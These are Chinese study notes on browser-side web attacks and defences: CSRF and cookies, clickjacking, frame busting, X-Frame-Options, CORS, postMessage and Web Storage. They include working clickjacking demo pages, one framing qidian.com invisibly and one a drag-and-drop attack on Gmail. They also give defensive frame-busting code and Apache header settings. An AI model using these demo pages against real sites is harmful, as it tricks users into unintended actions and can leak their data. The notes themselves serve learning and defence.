含义:攻击者伪造用户浏览器的请求去访问服务器,并获得服务器验证通过,从而完成非法攻击。过程类似于客户端脚本安全笔记(一)中的XSS攻击。
之所以攻击者伪造的请求能被服务器验证通过,是因为成功发送了cookie。
cookie的分类:
一种是“session cookie”,又称为临时cookie。浏览器关闭后,该种cookie便失效。
另一种是“Third-party cookie”,又称为“本地cookie”。该种cookie在set-cookie中指定了Expire时间,只有到了该时间,cookie才失效,所以该种cookie保存在本地。
设置cookie:
header("Set-Cookie:cookie1=Session Cookie 111111");
header("Set-Cookie:cookie2=Thrid-Party Cookie 22222;expires=Thu,05-Mar-2020 00:00:01 GMT;",false);
?>
分别设置了session cookie和Thrid-party cookie。
访问服务器,浏览器接收到两个cookie:
新建空白标签页(不关闭原页面,即保证浏览器进程不被关闭),然后访问同源的任一网址:
可以看到,之前保存的两个cookie均被浏览器发送。
新建空白标签页,访问不同源的任一网址,并且该访问内容指向源中任一网址,代码如下:
qqqqqqqqqqqqq
<iframe src="http://localhost/a/test.php"></iframe>
可以看到,在b源访问a源的内容时,同样将cookie全部发送,这是由于Firefox默认不拦截Thrid-party cookie。
默认拦截的浏览器:IE6、7、8;Sarafi
默认不拦截的浏览器:Firefox、opera、Chrome、Andriod
对于拦截的浏览器,有一种p3p头可以阻止拦截cookie发送。
p3p头是由W3C制定的标准,全称为:The platform for privacy preference。如果网站返回给浏览器的HTTP头中包含p3
p头,将允许浏览器发送cookie。
CSRF攻击的防御方法:
强制浏览器发生交互行为
因为正常访问时,页面之间是有关联的,如果发现某个请求突然出现,可以认为是构造的一个恶意请求。
CSRF攻击的本质是请求的各参数被攻击者获取,如果利用不可预测原则对各参数加上一定的随机性,可以有效避免,但是造成URL动态变化,用户无法收藏网址,token可以解决这个问题,例如:
但要考虑token的保密性和随机性。
攻击者在网页上覆盖一个透明或不可见的iframe,然后诱使用户在该网页上进行操作,这时用户将在不知情的情况下点击透明的iframe页面。(本质是一种视觉上的欺骗)
例子:
新建文件clickjacking.html并写入以下代码:
<html>
<head>
<title>CLICK JACK!</title>
<style>
iframe{
width:900px;
height:250px;
position:absolute;
top:-195px;
left:-740px;
z-index:2;
-moz-opacity:0.5;
opacity:0;
filter:alpha(opacity=0);
}
button{
position:absolute;
top:10px;
left:10px;
z-index:1;
width:120px;
}
</style>
</head>
<body>
<iframe src="http://www.qidian.com" scrolling="no"></iframe>
<button>CLICK HERE!!!</button>
</body>
</html>
在浏览器地址栏输入:localhost/clickjacking.html:
点击CLICK HERE按钮,发现打开的页面为:
这是因为在该按钮上覆盖有“www.qidian.com"这个网页,只是通过设置opacity=0使得该页面完全透明。
改变该值为0.5,就可以看见覆盖在上面的页面:
于是便完成了点击劫持!
通过动态诱使用户点击多个位置,从而完成一系列复杂的操作。
将透明的链接覆盖到带超链接的图片上,从而将用户引到攻击者的钓鱼网站。
<html>
<head>
<title>
Gmail Clickjacking with drag and drop Attack Demo
</title>
<style>
.iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden;
filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{
height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter:
alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px;
position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0);
opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position:
absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center;
margin-top:350px;}
</style>
<script>
function Init() {
var source = document.getElementById("source");
var target = document.getElementById("target");
if (source.addEventListener) {
target.addEventListener("drop", DumpInfo, false);
} else {
target.attachEvent("ondrop", DumpInfo);
}
}
function DumpInfo(event) {
showHide_ball.call(this);
showHide_ball_1.call(this);
var info = document.getElementById("info");
info.innerHTML += "" + event.dataTransfer.getData('Text') + "
";
}
function showHide_frame() {
var iframe_1 = document.getElementById("iframe_1");
iframe_1.style.opacity = this.checked ? "0.5": "0";
iframe_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");"
}
function showHide_text() {
var text_1 = document.getElementById("target");
text_1.style.opacity = this.checked ? "0.5": "0";
text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");"
}
function showHide_ball() {
var hide_ball = document.getElementById("hide_ball");
hide_ball.style.opacity = "0";
hide_ball.style.filter = "alpha(opacity=0)";
}
function showHide_ball_1() {
var hide_ball_1 = document.getElementById("hide_ball_1");
hide_ball_1.style.opacity = "1";
hide_ball_1.style.filter = "alpha(opacity=100)";
}
function reload_text() {
document.getElementById("target").value = '';
}
</script>
</head>
<body onload="Init();">
<center>
<h1>
Gmail Clickjacking with drag and drop Attack
</h1>
</center>
<img id="hide_ball" src=ball.png class="ball">
<div id="source">
<iframe id="iframe_1" src="https://mail.google.com/mail/ig/mailmax" class="iframe_hidden"
scrolling="no">
</iframe>
</div>
<img src=Dolphin.png class="Dolphin">
<div>
<img id="hide_ball_1" src=ball.png class="ball_1">
</div>
<div>
<textarea id="target" class="text_area_hidden">
</textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;">
</div>
<center>
Note: Clicking "ctrl + a" to select the ball, then drag it to the
<br>
mouth of the dolphin with the mouse.Make sure you have logged into GMAIL.
<br>
</center>
<br>
<br>
<div class="center">
<center>
<center>
<input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);"
/>
<label for="showHide_frame">
Show the jacked I--Frame
</label>
|
<input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);"
/>
<label for="showHide_text">
Show the jacked Textarea
</label>
|
<input type=button value="Replay" onclick="location.reload();reload_text();">
</center>
<br><br>
<b>
Design by
<a target="_blank" href="http://hi.baidu.com/xisigr">
xisigr
</a>
</b>
</center>
</div>
</body>
</html>
原理都一样,只是该攻击针对手机等移动端
常见形式:
if(top.location != location)
{
top.location = self.location;
}
总结:
frame busting 的条件判断语句:
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
frame busting 的纠正动作代码:
top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write('')
top.location = location
top.location.replace(document.location)
top.location.replace('URL')
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML='';},1);
window.self.onload = function(evt){document.body.innerHTML='';}
var url = window.location.href; top.location.replace(url)
但是由于frame busting由JavaScript写的,阻止iframe的控制效果并不强,攻击者是有可能绕过的!从而使frame busting失效。
专门为解决ClickJacking而生,即增加HTTP头
修改web服务器配置,添加X-Frame-Options响应头。赋值有如下三种:
1、DENY:不能被嵌入到任何iframe或者frame中。
2、SAMEORIGIN:页面只能被本站页面嵌入到iframe或者frame中
3、ALLOW-FROM uri:只能被嵌入到指定域名的框架中
测试是否加了X-Frame-Options:
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8" >
<title>点击劫持测试</title>
</head>
<body>
<iframe src="localhost/login.php" width="500" height="500" frameborder="10"> </iframe>
</body>
</html>
测试了localhost/login.php是否加入X-Frame-Options,如图:
说明该网页没有添加X-Frame-Options!
接下来配置Apache来新增X-Frame-Options
a2enmod headers
< IfModule headers_module>
Header always append X-Frame-Options "DENY"
< /IfModule>
sudo service apache2 restart
除了专门写一个html文件进行测试外,也可以从服务器返回的HTTP头查看是否增加了X-Frame-Options:
未增加:
增加后:
5.1 html5新增标签
新增标签总结
其中< audio>、< video>等新增标签会由于不存在于黑名单而带来安全问题
5.2 其他安全问题
同源策略限制了浏览器的跨域访问,但是互联网的开放性迫切需要跨域访问,所以保证安全下的跨域访问很有必要。
apache默认路径下创建文件/a/Domain_test.html
<script>
var client=new XMLHttpRequest();
client.open("GET","http://localhost/b/domain_test.php");
client.onreadystatechange=function(){}
client.send(null);
</script>
再创建文件/b/domain_test.php
header("Access-Control-Allow-Origin:*");
?>
Cross Domain Request Test!
访问localhost/a/Domain_test.html:
本来这种跨域访问是被禁止的,但是由于服务器给浏览器返回了Access-Control-Allow-Origin:*,即允许浏览器跨域访问,所以能够成功访问。
跨窗口传递消息,postmessage允许每一个windows(包括当前窗口、弹出窗口、iframe)对象往其他窗口发送文本消息,而不受同源策略的限制。
测试:
新建文件/postmessage/index.html
<!-- index.html -->
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<iframe src="http://localhost/postmessage/frame1.html" frameborder="1"></iframe>
<script>
window.addEventListener('message',function(e){
console.log(e.data)
},false)
</script>
新建文件/postmessage/frame1.html
<!-- frame1.html -->
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<h1>iframe1 page</h1>
<script>
window.top.postMessage("message from iframe1","*");
</script>
Web Storage的优缺点:
优点:
存储空间更大。在IE下每个独立存储空间为10M,其它浏览器存储空间略有不同,但可以肯定的是至少要比cookie要大很多。
存储内容不会与服务器发生任何交互,数据仅仅单纯地存储在本地。不用担心对服务器数据的影响!
独立的存储空间,每个域都有自己独立的存储空间,各个存储空间又完全是独立的,所以不会对数据千万混乱。
缺点:
存储在本地的数据未加密且永远不会过期,容易造成隐私泄漏!
存储的数据类型只能是字符串!
分类:
localStorage与sessionStorage是Web Storage提供的两种存储在客户端的方法。
localStorage:没有时间限制的存储方式。存储的时间可以是一天,二天,几周或几十年!关闭浏览器数据不会随着消失,当再次打开浏览器时,数据依然可以访问!也就是说除非你主动删除数据,否则数据是永远不会过期的。
sessionStorage:保存在session对象当中。用来保存的时间为用户与浏览器的会话时间。即从浏览页面到关闭浏览器为一个会话时间。关闭浏览器,所有的 session数据也会消失!
localStorage是永久保存数据,sessionStorage是暂时保存数据,这是两者之间的重要区别!
使用起来较简单(以sessionStorage为例):
sessionStorage.setItem("key","value");//设置值
var v=sessionStorage.getItem("key"); //读取值
localStorage.length或sessionStorage.length为相应的数据条数
localStorage.key(index):将数据的索引值作为参数传入,可以得到localStorage中与这个索引号相对应的数据。sessionStorage.key(index)同理!
localStorage.removeItem(“key”):清除指定的localStorage数据。
sessionStorage.clear():清除所有保存在sessionStorage的数据。